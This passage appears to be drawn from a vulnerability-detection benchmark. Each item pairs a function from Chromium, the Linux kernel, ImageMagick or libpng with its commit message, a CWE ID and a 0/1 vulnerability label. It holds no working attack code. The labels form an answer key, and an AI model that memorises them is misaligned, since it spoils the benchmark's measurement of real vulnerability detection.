a redundant member variable of |SelectionTemplate|.
Bug: 742093
Change-Id: I3add4da3844fb40be34dcb4d4b46b5fa6fed1d7e
Reviewed-on: https://chromium-review.googlesource.com/595389
Commit-Queue: Yoshifumi Inoue <yosin@chromium.org>
Reviewed-by: Xiaocheng Hu <xiaochengh@chromium.org>
Reviewed-by: Kent Tamura <tkent@chromium.org>
Cr-Commit-Position: refs/heads/master@{#491660}
CWE ID: CWE-119
| 0
| 124,936
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: fh_dup2(struct svc_fh *dst, struct svc_fh *src)
{
fh_put(dst);
dget(src->fh_dentry);
if (src->fh_export)
exp_get(src->fh_export);
*dst = *src;
}
Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux
Pull nfsd updates from Bruce Fields:
"Another RDMA update from Chuck Lever, and a bunch of miscellaneous
bugfixes"
* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)
nfsd: Fix up the "supattr_exclcreat" attributes
nfsd: encoders mustn't use unitialized values in error cases
nfsd: fix undefined behavior in nfsd4_layout_verify
lockd: fix lockd shutdown race
NFSv4: Fix callback server shutdown
SUNRPC: Refactor svc_set_num_threads()
NFSv4.x/callback: Create the callback service through svc_create_pooled
lockd: remove redundant check on block
svcrdma: Clean out old XDR encoders
svcrdma: Remove the req_map cache
svcrdma: Remove unused RDMA Write completion handler
svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt
svcrdma: Clean up RPC-over-RDMA backchannel reply processing
svcrdma: Report Write/Reply chunk overruns
svcrdma: Clean up RDMA_ERROR path
svcrdma: Use rdma_rw API in RPC reply path
svcrdma: Introduce local rdma_rw API helpers
svcrdma: Clean up svc_rdma_get_inv_rkey()
svcrdma: Add helper to save pages under I/O
svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT
...
CWE ID: CWE-404
| 0
| 65,306
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: checkbuffer(Image *image, const char *arg)
{
if (check16(image->buffer, 95))
{
fflush(stdout);
fprintf(stderr, "%s: overwrite at start of image buffer\n", arg);
exit(1);
}
if (check16(image->buffer+16+image->allocsize, 95))
{
fflush(stdout);
fprintf(stderr, "%s: overwrite at end of image buffer\n", arg);
exit(1);
}
}
Commit Message: DO NOT MERGE Update libpng to 1.6.20
BUG:23265085
Change-Id: I85199805636d771f3597b691b63bc0bf46084833
(cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82)
CWE ID:
| 0
| 159,863
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int de_thread(struct task_struct *tsk)
{
struct signal_struct *sig = tsk->signal;
struct sighand_struct *oldsighand = tsk->sighand;
spinlock_t *lock = &oldsighand->siglock;
if (thread_group_empty(tsk))
goto no_thread_group;
/*
* Kill all other threads in the thread group.
*/
spin_lock_irq(lock);
if (signal_group_exit(sig)) {
/*
* Another group action in progress, just
* return so that the signal is processed.
*/
spin_unlock_irq(lock);
return -EAGAIN;
}
sig->group_exit_task = tsk;
sig->notify_count = zap_other_threads(tsk);
if (!thread_group_leader(tsk))
sig->notify_count--;
while (sig->notify_count) {
__set_current_state(TASK_KILLABLE);
spin_unlock_irq(lock);
schedule();
if (unlikely(__fatal_signal_pending(tsk)))
goto killed;
spin_lock_irq(lock);
}
spin_unlock_irq(lock);
/*
* At this point all other threads have exited, all we have to
* do is to wait for the thread group leader to become inactive,
* and to assume its PID:
*/
if (!thread_group_leader(tsk)) {
struct task_struct *leader = tsk->group_leader;
for (;;) {
threadgroup_change_begin(tsk);
write_lock_irq(&tasklist_lock);
/*
* Do this under tasklist_lock to ensure that
* exit_notify() can't miss ->group_exit_task
*/
sig->notify_count = -1;
if (likely(leader->exit_state))
break;
__set_current_state(TASK_KILLABLE);
write_unlock_irq(&tasklist_lock);
threadgroup_change_end(tsk);
schedule();
if (unlikely(__fatal_signal_pending(tsk)))
goto killed;
}
/*
* The only record we have of the real-time age of a
* process, regardless of execs it's done, is start_time.
* All the past CPU time is accumulated in signal_struct
* from sister threads now dead. But in this non-leader
* exec, nothing survives from the original leader thread,
* whose birth marks the true age of this process now.
* When we take on its identity by switching to its PID, we
* also take its birthdate (always earlier than our own).
*/
tsk->start_time = leader->start_time;
tsk->real_start_time = leader->real_start_time;
BUG_ON(!same_thread_group(leader, tsk));
BUG_ON(has_group_leader_pid(tsk));
/*
* An exec() starts a new thread group with the
* TGID of the previous thread group. Rehash the
* two threads with a switched PID, and release
* the former thread group leader:
*/
/* Become a process group leader with the old leader's pid.
* The old leader becomes a thread of the this thread group.
* Note: The old leader also uses this pid until release_task
* is called. Odd but simple and correct.
*/
tsk->pid = leader->pid;
change_pid(tsk, PIDTYPE_PID, task_pid(leader));
transfer_pid(leader, tsk, PIDTYPE_PGID);
transfer_pid(leader, tsk, PIDTYPE_SID);
list_replace_rcu(&leader->tasks, &tsk->tasks);
list_replace_init(&leader->sibling, &tsk->sibling);
tsk->group_leader = tsk;
leader->group_leader = tsk;
tsk->exit_signal = SIGCHLD;
leader->exit_signal = -1;
BUG_ON(leader->exit_state != EXIT_ZOMBIE);
leader->exit_state = EXIT_DEAD;
/*
* We are going to release_task()->ptrace_unlink() silently,
* the tracer can sleep in do_wait(). EXIT_DEAD guarantees
* the tracer wont't block again waiting for this thread.
*/
if (unlikely(leader->ptrace))
__wake_up_parent(leader, leader->parent);
write_unlock_irq(&tasklist_lock);
threadgroup_change_end(tsk);
release_task(leader);
}
sig->group_exit_task = NULL;
sig->notify_count = 0;
no_thread_group:
/* we have changed execution domain */
tsk->exit_signal = SIGCHLD;
exit_itimers(sig);
flush_itimer_signals();
if (atomic_read(&oldsighand->count) != 1) {
struct sighand_struct *newsighand;
/*
* This ->sighand is shared with the CLONE_SIGHAND
* but not CLONE_THREAD task, switch to the new one.
*/
newsighand = kmem_cache_alloc(sighand_cachep, GFP_KERNEL);
if (!newsighand)
return -ENOMEM;
atomic_set(&newsighand->count, 1);
memcpy(newsighand->action, oldsighand->action,
sizeof(newsighand->action));
write_lock_irq(&tasklist_lock);
spin_lock(&oldsighand->siglock);
rcu_assign_pointer(tsk->sighand, newsighand);
spin_unlock(&oldsighand->siglock);
write_unlock_irq(&tasklist_lock);
__cleanup_sighand(oldsighand);
}
BUG_ON(!thread_group_leader(tsk));
return 0;
killed:
/* protects against exit_notify() and __exit_signal() */
read_lock(&tasklist_lock);
sig->group_exit_task = NULL;
sig->notify_count = 0;
read_unlock(&tasklist_lock);
return -EAGAIN;
}
Commit Message: fs: take i_mutex during prepare_binprm for set[ug]id executables
This prevents a race between chown() and execve(), where chowning a
setuid-user binary to root would momentarily make the binary setuid
root.
This patch was mostly written by Linus Torvalds.
Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-362
| 0
| 43,435
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool ExtensionApiTest::RunPlatformAppTestWithFlags(
const std::string& extension_name,
const char* custom_arg,
int flags) {
return RunExtensionTestImpl(extension_name, std::string(), custom_arg,
flags | kFlagLaunchPlatformApp);
}
Commit Message: Hide DevTools frontend from webRequest API
Prevent extensions from observing requests for remote DevTools frontends
and add regression tests.
And update ExtensionTestApi to support initializing the embedded test
server and port from SetUpCommandLine (before SetUpOnMainThread).
BUG=797497,797500
TEST=browser_test --gtest_filter=DevToolsFrontendInWebRequestApiTest.HiddenRequests
Cq-Include-Trybots: master.tryserver.chromium.linux:linux_mojo
Change-Id: Ic8f44b5771f2d5796f8c3de128f0a7ab88a77735
Reviewed-on: https://chromium-review.googlesource.com/844316
Commit-Queue: Rob Wu <rob@robwu.nl>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Dmitry Gozman <dgozman@chromium.org>
Cr-Commit-Position: refs/heads/master@{#528187}
CWE ID: CWE-200
| 0
| 146,583
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void OfflineLoadPage::GetAppOfflineStrings(
const Extension* app,
const string16& failed_url,
DictionaryValue* strings) const {
strings->SetString("title", app->name());
GURL icon_url = app->GetIconURL(Extension::EXTENSION_ICON_LARGE,
ExtensionIconSet::MATCH_EXACTLY);
if (icon_url.is_empty()) {
strings->SetString("display_icon", "none");
strings->SetString("icon", string16());
} else {
strings->SetString("display_icon", "block");
strings->SetString("icon", icon_url.spec());
}
strings->SetString(
"msg",
l10n_util::GetStringFUTF16(IDS_APP_OFFLINE_LOAD_DESCRIPTION,
failed_url));
}
Commit Message: cros: The next 100 clang plugin errors.
BUG=none
TEST=none
TBR=dpolukhin
Review URL: http://codereview.chromium.org/7022008
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@85418 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 101,507
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: FileReaderLoader::FileReaderLoader(ReadType read_type,
FileReaderLoaderClient* client)
: read_type_(read_type),
client_(client),
handle_watcher_(FROM_HERE, mojo::SimpleWatcher::ArmingPolicy::AUTOMATIC),
binding_(this) {}
Commit Message: Fix use-after-free in FileReaderLoader.
Anything that calls out to client_ can cause FileReaderLoader to be
destroyed, so make sure to check for that situation.
Bug: 835639
Change-Id: I57533d41b7118c06da17abec28bbf301e1f50646
Reviewed-on: https://chromium-review.googlesource.com/1024450
Commit-Queue: Marijn Kruisselbrink <mek@chromium.org>
Commit-Queue: Daniel Murphy <dmurph@chromium.org>
Reviewed-by: Daniel Murphy <dmurph@chromium.org>
Cr-Commit-Position: refs/heads/master@{#552807}
CWE ID: CWE-416
| 1
| 173,217
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void mem_cgroup_print_bad_page(struct page *page)
{
struct page_cgroup *pc;
pc = lookup_page_cgroup_used(page);
if (pc) {
printk(KERN_ALERT "pc:%p pc->flags:%lx pc->mem_cgroup:%p\n",
pc, pc->flags, pc->mem_cgroup);
}
}
Commit Message: mm: thp: fix pmd_bad() triggering in code paths holding mmap_sem read mode
commit 1a5a9906d4e8d1976b701f889d8f35d54b928f25 upstream.
In some cases it may happen that pmd_none_or_clear_bad() is called with
the mmap_sem hold in read mode. In those cases the huge page faults can
allocate hugepmds under pmd_none_or_clear_bad() and that can trigger a
false positive from pmd_bad() that will not like to see a pmd
materializing as trans huge.
It's not khugepaged causing the problem, khugepaged holds the mmap_sem
in write mode (and all those sites must hold the mmap_sem in read mode
to prevent pagetables to go away from under them, during code review it
seems vm86 mode on 32bit kernels requires that too unless it's
restricted to 1 thread per process or UP builds). The race is only with
the huge pagefaults that can convert a pmd_none() into a
pmd_trans_huge().
Effectively all these pmd_none_or_clear_bad() sites running with
mmap_sem in read mode are somewhat speculative with the page faults, and
the result is always undefined when they run simultaneously. This is
probably why it wasn't common to run into this. For example if the
madvise(MADV_DONTNEED) runs zap_page_range() shortly before the page
fault, the hugepage will not be zapped, if the page fault runs first it
will be zapped.
Altering pmd_bad() not to error out if it finds hugepmds won't be enough
to fix this, because zap_pmd_range would then proceed to call
zap_pte_range (which would be incorrect if the pmd become a
pmd_trans_huge()).
The simplest way to fix this is to read the pmd in the local stack
(regardless of what we read, no need of actual CPU barriers, only
compiler barrier needed), and be sure it is not changing under the code
that computes its value. Even if the real pmd is changing under the
value we hold on the stack, we don't care. If we actually end up in
zap_pte_range it means the pmd was not none already and it was not huge,
and it can't become huge from under us (khugepaged locking explained
above).
All we need is to enforce that there is no way anymore that in a code
path like below, pmd_trans_huge can be false, but pmd_none_or_clear_bad
can run into a hugepmd. The overhead of a barrier() is just a compiler
tweak and should not be measurable (I only added it for THP builds). I
don't exclude different compiler versions may have prevented the race
too by caching the value of *pmd on the stack (that hasn't been
verified, but it wouldn't be impossible considering
pmd_none_or_clear_bad, pmd_bad, pmd_trans_huge, pmd_none are all inlines
and there's no external function called in between pmd_trans_huge and
pmd_none_or_clear_bad).
if (pmd_trans_huge(*pmd)) {
if (next-addr != HPAGE_PMD_SIZE) {
VM_BUG_ON(!rwsem_is_locked(&tlb->mm->mmap_sem));
split_huge_page_pmd(vma->vm_mm, pmd);
} else if (zap_huge_pmd(tlb, vma, pmd, addr))
continue;
/* fall through */
}
if (pmd_none_or_clear_bad(pmd))
Because this race condition could be exercised without special
privileges this was reported in CVE-2012-1179.
The race was identified and fully explained by Ulrich who debugged it.
I'm quoting his accurate explanation below, for reference.
====== start quote =======
mapcount 0 page_mapcount 1
kernel BUG at mm/huge_memory.c:1384!
At some point prior to the panic, a "bad pmd ..." message similar to the
following is logged on the console:
mm/memory.c:145: bad pmd ffff8800376e1f98(80000000314000e7).
The "bad pmd ..." message is logged by pmd_clear_bad() before it clears
the page's PMD table entry.
143 void pmd_clear_bad(pmd_t *pmd)
144 {
-> 145 pmd_ERROR(*pmd);
146 pmd_clear(pmd);
147 }
After the PMD table entry has been cleared, there is an inconsistency
between the actual number of PMD table entries that are mapping the page
and the page's map count (_mapcount field in struct page). When the page
is subsequently reclaimed, __split_huge_page() detects this inconsistency.
1381 if (mapcount != page_mapcount(page))
1382 printk(KERN_ERR "mapcount %d page_mapcount %d\n",
1383 mapcount, page_mapcount(page));
-> 1384 BUG_ON(mapcount != page_mapcount(page));
The root cause of the problem is a race of two threads in a multithreaded
process. Thread B incurs a page fault on a virtual address that has never
been accessed (PMD entry is zero) while Thread A is executing an madvise()
system call on a virtual address within the same 2 MB (huge page) range.
virtual address space
.---------------------.
| |
| |
.-|---------------------|
| | |
| | |<-- B(fault)
| | |
2 MB | |/////////////////////|-.
huge < |/////////////////////| > A(range)
page | |/////////////////////|-'
| | |
| | |
'-|---------------------|
| |
| |
'---------------------'
- Thread A is executing an madvise(..., MADV_DONTNEED) system call
on the virtual address range "A(range)" shown in the picture.
sys_madvise
// Acquire the semaphore in shared mode.
down_read(¤t->mm->mmap_sem)
...
madvise_vma
switch (behavior)
case MADV_DONTNEED:
madvise_dontneed
zap_page_range
unmap_vmas
unmap_page_range
zap_pud_range
zap_pmd_range
//
// Assume that this huge page has never been accessed.
// I.e. content of the PMD entry is zero (not mapped).
//
if (pmd_trans_huge(*pmd)) {
// We don't get here due to the above assumption.
}
//
// Assume that Thread B incurred a page fault and
.---------> // sneaks in here as shown below.
| //
| if (pmd_none_or_clear_bad(pmd))
| {
| if (unlikely(pmd_bad(*pmd)))
| pmd_clear_bad
| {
| pmd_ERROR
| // Log "bad pmd ..." message here.
| pmd_clear
| // Clear the page's PMD entry.
| // Thread B incremented the map count
| // in page_add_new_anon_rmap(), but
| // now the page is no longer mapped
| // by a PMD entry (-> inconsistency).
| }
| }
|
v
- Thread B is handling a page fault on virtual address "B(fault)" shown
in the picture.
...
do_page_fault
__do_page_fault
// Acquire the semaphore in shared mode.
down_read_trylock(&mm->mmap_sem)
...
handle_mm_fault
if (pmd_none(*pmd) && transparent_hugepage_enabled(vma))
// We get here due to the above assumption (PMD entry is zero).
do_huge_pmd_anonymous_page
alloc_hugepage_vma
// Allocate a new transparent huge page here.
...
__do_huge_pmd_anonymous_page
...
spin_lock(&mm->page_table_lock)
...
page_add_new_anon_rmap
// Here we increment the page's map count (starts at -1).
atomic_set(&page->_mapcount, 0)
set_pmd_at
// Here we set the page's PMD entry which will be cleared
// when Thread A calls pmd_clear_bad().
...
spin_unlock(&mm->page_table_lock)
The mmap_sem does not prevent the race because both threads are acquiring
it in shared mode (down_read). Thread B holds the page_table_lock while
the page's map count and PMD table entry are updated. However, Thread A
does not synchronize on that lock.
====== end quote =======
[akpm@linux-foundation.org: checkpatch fixes]
Reported-by: Ulrich Obergfell <uobergfe@redhat.com>
Signed-off-by: Andrea Arcangeli <aarcange@redhat.com>
Acked-by: Johannes Weiner <hannes@cmpxchg.org>
Cc: Mel Gorman <mgorman@suse.de>
Cc: Hugh Dickins <hughd@google.com>
Cc: Dave Jones <davej@redhat.com>
Acked-by: Larry Woodman <lwoodman@redhat.com>
Acked-by: Rik van Riel <riel@redhat.com>
Cc: Mark Salter <msalter@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-264
| 0
| 21,108
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: MagickExport ssize_t WriteBlob(Image *image,const size_t length,
const void *data)
{
BlobInfo
*magick_restrict blob_info;
int
c;
register const unsigned char
*p;
register unsigned char
*q;
ssize_t
count;
assert(image != (Image *) NULL);
assert(image->signature == MagickCoreSignature);
assert(image->blob != (BlobInfo *) NULL);
assert(image->blob->type != UndefinedStream);
if (length == 0)
return(0);
assert(data != (const void *) NULL);
blob_info=image->blob;
count=0;
p=(const unsigned char *) data;
q=(unsigned char *) data;
switch (blob_info->type)
{
case UndefinedStream:
break;
case StandardStream:
case FileStream:
case PipeStream:
{
switch (length)
{
default:
{
count=(ssize_t) fwrite((const char *) data,1,length,
blob_info->file_info.file);
break;
}
case 4:
{
c=putc((int) *p++,blob_info->file_info.file);
if (c == EOF)
break;
count++;
}
case 3:
{
c=putc((int) *p++,blob_info->file_info.file);
if (c == EOF)
break;
count++;
}
case 2:
{
c=putc((int) *p++,blob_info->file_info.file);
if (c == EOF)
break;
count++;
}
case 1:
{
c=putc((int) *p++,blob_info->file_info.file);
if (c == EOF)
break;
count++;
}
case 0:
break;
}
break;
}
case ZipStream:
{
#if defined(MAGICKCORE_ZLIB_DELEGATE)
switch (length)
{
default:
{
register ssize_t
i;
for (i=0; i < (ssize_t) length; i+=count)
{
count=(ssize_t) gzwrite(blob_info->file_info.gzfile,q+i,
(unsigned int) MagickMin(length-i,MagickMaxBufferExtent));
if (count <= 0)
{
count=0;
if (errno != EINTR)
break;
}
}
count=i;
break;
}
case 4:
{
c=gzputc(blob_info->file_info.gzfile,(int) *p++);
if (c == EOF)
break;
count++;
}
case 3:
{
c=gzputc(blob_info->file_info.gzfile,(int) *p++);
if (c == EOF)
break;
count++;
}
case 2:
{
c=gzputc(blob_info->file_info.gzfile,(int) *p++);
if (c == EOF)
break;
count++;
}
case 1:
{
c=gzputc(blob_info->file_info.gzfile,(int) *p++);
if (c == EOF)
break;
count++;
}
case 0:
break;
}
#endif
break;
}
case BZipStream:
{
#if defined(MAGICKCORE_BZLIB_DELEGATE)
register ssize_t
i;
for (i=0; i < (ssize_t) length; i+=count)
{
count=(ssize_t) BZ2_bzwrite(blob_info->file_info.bzfile,q+i,
(int) MagickMin(length-i,MagickMaxBufferExtent));
if (count <= 0)
{
count=0;
if (errno != EINTR)
break;
}
}
count=i;
#endif
break;
}
case FifoStream:
{
count=(ssize_t) blob_info->stream(image,data,length);
break;
}
case BlobStream:
{
if ((blob_info->offset+(MagickOffsetType) length) >=
(MagickOffsetType) blob_info->extent)
{
if (blob_info->mapped != MagickFalse)
return(0);
blob_info->extent+=length+blob_info->quantum;
blob_info->quantum<<=1;
blob_info->data=(unsigned char *) ResizeQuantumMemory(
blob_info->data,blob_info->extent+1,sizeof(*blob_info->data));
(void) SyncBlob(image);
if (blob_info->data == (unsigned char *) NULL)
{
(void) DetachBlob(blob_info);
return(0);
}
}
q=blob_info->data+blob_info->offset;
(void) memcpy(q,p,length);
blob_info->offset+=length;
if (blob_info->offset >= (MagickOffsetType) blob_info->length)
blob_info->length=(size_t) blob_info->offset;
count=(ssize_t) length;
break;
}
case CustomStream:
{
if (blob_info->custom_stream->writer != (CustomStreamHandler) NULL)
count=blob_info->custom_stream->writer((unsigned char *) data,
length,blob_info->custom_stream->data);
break;
}
}
return(count);
}
Commit Message: https://github.com/ImageMagick/ImageMagick6/issues/43
CWE ID: CWE-416
| 0
| 96,662
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: WebWindowFeatures GetWindowFeaturesFromString(const String& feature_string) {
WebWindowFeatures window_features;
if (feature_string.IsEmpty())
return window_features;
window_features.menu_bar_visible = false;
window_features.status_bar_visible = false;
window_features.tool_bar_visible = false;
window_features.scrollbars_visible = false;
unsigned key_begin, key_end;
unsigned value_begin, value_end;
String buffer = feature_string.DeprecatedLower();
unsigned length = buffer.length();
for (unsigned i = 0; i < length;) {
while (i < length && IsWindowFeaturesSeparator(buffer[i]))
i++;
key_begin = i;
while (i < length && !IsWindowFeaturesSeparator(buffer[i]))
i++;
key_end = i;
SECURITY_DCHECK(i <= length);
while (i < length && buffer[i] != '=') {
if (buffer[i] == ',' || !IsWindowFeaturesSeparator(buffer[i]))
break;
i++;
}
if (i < length && IsWindowFeaturesSeparator(buffer[i])) {
while (i < length && IsWindowFeaturesSeparator(buffer[i])) {
if (buffer[i] == ',')
break;
i++;
}
value_begin = i;
SECURITY_DCHECK(i <= length);
while (i < length && !IsWindowFeaturesSeparator(buffer[i]))
i++;
value_end = i;
SECURITY_DCHECK(i <= length);
} else {
value_begin = i;
value_end = i;
}
String key_string(
buffer.Substring(key_begin, key_end - key_begin).LowerASCII());
String value_string(
buffer.Substring(value_begin, value_end - value_begin).LowerASCII());
int value;
if (value_string.IsEmpty() || value_string == "yes")
value = 1;
else
value = value_string.ToInt();
if (key_string.IsEmpty())
continue;
if (key_string == "left" || key_string == "screenx") {
window_features.x_set = true;
window_features.x = value;
} else if (key_string == "top" || key_string == "screeny") {
window_features.y_set = true;
window_features.y = value;
} else if (key_string == "width" || key_string == "innerwidth") {
window_features.width_set = true;
window_features.width = value;
} else if (key_string == "height" || key_string == "innerheight") {
window_features.height_set = true;
window_features.height = value;
} else if (key_string == "menubar") {
window_features.menu_bar_visible = value;
} else if (key_string == "toolbar" || key_string == "location") {
window_features.tool_bar_visible |= static_cast<bool>(value);
} else if (key_string == "status") {
window_features.status_bar_visible = value;
} else if (key_string == "scrollbars") {
window_features.scrollbars_visible = value;
} else if (key_string == "resizable") {
window_features.resizable = value;
} else if (key_string == "noopener") {
window_features.noopener = true;
} else if (key_string == "background") {
window_features.background = true;
} else if (key_string == "persistent") {
window_features.persistent = true;
}
}
return window_features;
}
Commit Message: If a page calls |window.focus()|, kick it out of fullscreen.
BUG=776418, 800056
Change-Id: I1880fe600e4814c073f247c43b1c1ac80c8fc017
Reviewed-on: https://chromium-review.googlesource.com/852378
Reviewed-by: Nasko Oskov <nasko@chromium.org>
Reviewed-by: Philip Jägenstedt <foolip@chromium.org>
Commit-Queue: Avi Drissman <avi@chromium.org>
Cr-Commit-Position: refs/heads/master@{#533790}
CWE ID:
| 0
| 148,218
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int evm_inode_setxattr(struct dentry *dentry, const char *xattr_name,
const void *xattr_value, size_t xattr_value_len)
{
const struct evm_ima_xattr_data *xattr_data = xattr_value;
if (strcmp(xattr_name, XATTR_NAME_EVM) == 0) {
if (!xattr_value_len)
return -EINVAL;
if (xattr_data->type != EVM_IMA_XATTR_DIGSIG)
return -EPERM;
}
return evm_protect_xattr(dentry, xattr_name, xattr_value,
xattr_value_len);
}
Commit Message: EVM: Use crypto_memneq() for digest comparisons
This patch fixes vulnerability CVE-2016-2085. The problem exists
because the vm_verify_hmac() function includes a use of memcmp().
Unfortunately, this allows timing side channel attacks; specifically
a MAC forgery complexity drop from 2^128 to 2^12. This patch changes
the memcmp() to the cryptographically safe crypto_memneq().
Reported-by: Xiaofei Rex Guo <xiaofei.rex.guo@intel.com>
Signed-off-by: Ryan Ware <ware@linux.intel.com>
Cc: stable@vger.kernel.org
Signed-off-by: Mimi Zohar <zohar@linux.vnet.ibm.com>
Signed-off-by: James Morris <james.l.morris@oracle.com>
CWE ID: CWE-19
| 0
| 55,370
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static bool detect_write_flooding(struct kvm_mmu_page *sp)
{
/*
* Skip write-flooding detected for the sp whose level is 1, because
* it can become unsync, then the guest page is not write-protected.
*/
if (sp->role.level == PT_PAGE_TABLE_LEVEL)
return false;
return ++sp->write_flooding_count >= 3;
}
Commit Message: nEPT: Nested INVEPT
If we let L1 use EPT, we should probably also support the INVEPT instruction.
In our current nested EPT implementation, when L1 changes its EPT table
for L2 (i.e., EPT12), L0 modifies the shadow EPT table (EPT02), and in
the course of this modification already calls INVEPT. But if last level
of shadow page is unsync not all L1's changes to EPT12 are intercepted,
which means roots need to be synced when L1 calls INVEPT. Global INVEPT
should not be different since roots are synced by kvm_mmu_load() each
time EPTP02 changes.
Reviewed-by: Xiao Guangrong <xiaoguangrong@linux.vnet.ibm.com>
Signed-off-by: Nadav Har'El <nyh@il.ibm.com>
Signed-off-by: Jun Nakajima <jun.nakajima@intel.com>
Signed-off-by: Xinhao Xu <xinhao.xu@intel.com>
Signed-off-by: Yang Zhang <yang.z.zhang@Intel.com>
Signed-off-by: Gleb Natapov <gleb@redhat.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-20
| 0
| 37,407
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: error::Error GLES2DecoderPassthroughImpl::DoGetIntegeri_v(GLenum pname,
GLuint index,
GLsizei bufsize,
GLsizei* length,
GLint* data) {
glGetIntegeri_vRobustANGLE(pname, index, bufsize, length, data);
return error::kNoError;
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416
| 0
| 141,997
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int halt_interception(struct vcpu_svm *svm)
{
svm->next_rip = kvm_rip_read(&svm->vcpu) + 1;
return kvm_emulate_halt(&svm->vcpu);
}
Commit Message: KVM: svm: unconditionally intercept #DB
This is needed to avoid the possibility that the guest triggers
an infinite stream of #DB exceptions (CVE-2015-8104).
VMX is not affected: because it does not save DR6 in the VMCS,
it already intercepts #DB unconditionally.
Reported-by: Jan Beulich <jbeulich@suse.com>
Cc: stable@vger.kernel.org
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-399
| 0
| 41,894
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void port_over_current_notify(struct usb_port *port_dev)
{
char *envp[3];
struct device *hub_dev;
char *port_dev_path;
sysfs_notify(&port_dev->dev.kobj, NULL, "over_current_count");
hub_dev = port_dev->dev.parent;
if (!hub_dev)
return;
port_dev_path = kobject_get_path(&port_dev->dev.kobj, GFP_KERNEL);
if (!port_dev_path)
return;
envp[0] = kasprintf(GFP_KERNEL, "OVER_CURRENT_PORT=%s", port_dev_path);
if (!envp[0])
goto exit_path;
envp[1] = kasprintf(GFP_KERNEL, "OVER_CURRENT_COUNT=%u",
port_dev->over_current_count);
if (!envp[1])
goto exit;
envp[2] = NULL;
kobject_uevent_env(&hub_dev->kobj, KOBJ_CHANGE, envp);
kfree(envp[1]);
exit:
kfree(envp[0]);
exit_path:
kfree(port_dev_path);
}
Commit Message: USB: check usb_get_extra_descriptor for proper size
When reading an extra descriptor, we need to properly check the minimum
and maximum size allowed, to prevent from invalid data being sent by a
device.
Reported-by: Hui Peng <benquike@gmail.com>
Reported-by: Mathias Payer <mathias.payer@nebelwelt.net>
Co-developed-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Hui Peng <benquike@gmail.com>
Signed-off-by: Mathias Payer <mathias.payer@nebelwelt.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Cc: stable <stable@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-400
| 0
| 75,514
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: JPEGImageDecoder::JPEGImageDecoder(ImageSource::AlphaOption alphaOption,
ImageSource::GammaAndColorProfileOption gammaAndColorProfileOption)
: ImageDecoder(alphaOption, gammaAndColorProfileOption)
{
}
Commit Message: Progressive JPEG outputScanlines() calls should handle failure
outputScanlines() can fail and delete |this|, so any attempt to access
members thereafter should be avoided. Copy the decoder pointer member,
and use that copy to detect and handle the failure case.
BUG=232763
R=pkasting@chromium.org
Review URL: https://codereview.chromium.org/14844003
git-svn-id: svn://svn.chromium.org/blink/trunk@150545 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 119,055
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void ahci_irq_raise(AHCIState *s, AHCIDevice *dev)
{
